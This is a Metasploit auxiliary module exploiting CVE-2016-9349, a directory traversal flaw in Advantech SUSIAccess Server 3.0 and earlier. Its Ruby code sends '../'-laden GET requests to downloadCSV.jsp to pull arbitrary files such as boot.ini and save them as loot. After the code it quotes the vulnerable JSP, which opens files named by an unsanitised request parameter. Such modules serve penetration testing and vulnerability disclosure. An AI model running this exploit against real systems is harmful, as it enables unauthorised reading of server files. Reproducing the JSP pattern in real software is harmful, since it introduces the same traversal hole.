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require 'msf/core'
class MetasploitModule < Msf::Auxiliary
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Advantech SUSIAccess Server Directory Traversal Information Disclosure',
'Description' => %q{
This module exploits an information disclosure vulnerability found in
Advantech SUSIAccess <= version 3.0. The vulnerability is triggered when
sending a GET request to the server with a series of dot dot slashes (../)
in the file parameter.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-9349' ],
[ 'ZDI', '16-628' ],
[ 'BID', '94629' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04' ]
],
'DisclosureDate' => 'Dec 13 2016'))
register_options(
[
OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
Opt::RPORT(8080)
], self.class )
end
def run
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
levels = "/" + ("../" * depth)
file = "#{levels}#{datastore['FILE']}"
file = file.gsub(/ /, "%20")
res = send_request_raw({
'method' => 'GET',
'uri' => "/downloadCSV.jsp?file=#{file}",
})
if res and res.code == 200
loot = res.body
if not loot or loot.empty?
print_status("File from #{rhost}:#{rport} is empty...")
return
end
file = ::File.basename(datastore['FILE'])
path = store_loot('advantech_susiaccess.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
print_status("Stored #{datastore['FILE']} to #{path}")
return
else
print_error("Something went wrong... Application returned a #{res.code}")
end
end
end
__END__
<%@ page import="java.util.*,java.io.*" %>
<%
File f = new File (getServletContext().getRealPath("/") + request.getParameter("file") );
//set the content type(can be excel/word/powerpoint etc..)
response.setContentType ("application/csv");
//set the header and also the Name by which user will be prompted to save
response.setHeader ("Content-Disposition", "attachment; filename=\""+request.getParameter("file").split("/")[2] +"\"");
//get the file name
String name = f.getName().substring(f.getName().lastIndexOf("/") + 1,f.getName().length());
//OPen an input stream to the file and post the file contents thru the
//servlet output stream to the client m/c
InputStream in = new FileInputStream(f);
ServletOutputStream outs = response.getOutputStream();
int bit = 256;
int i = 0;
try {
while ((bit) >= 0) {
bit = in.read();
outs.write(bit);
}
//System.out.println("" +bit);
} catch (IOException ioe) {
ioe.printStackTrace(System.out);
}
// System.out.println( "n" + i + " bytes sent.");
// System.out.println( "n" + f.length() + " bytes sent.");
outs.flush();
outs.close();
in.close();
%>
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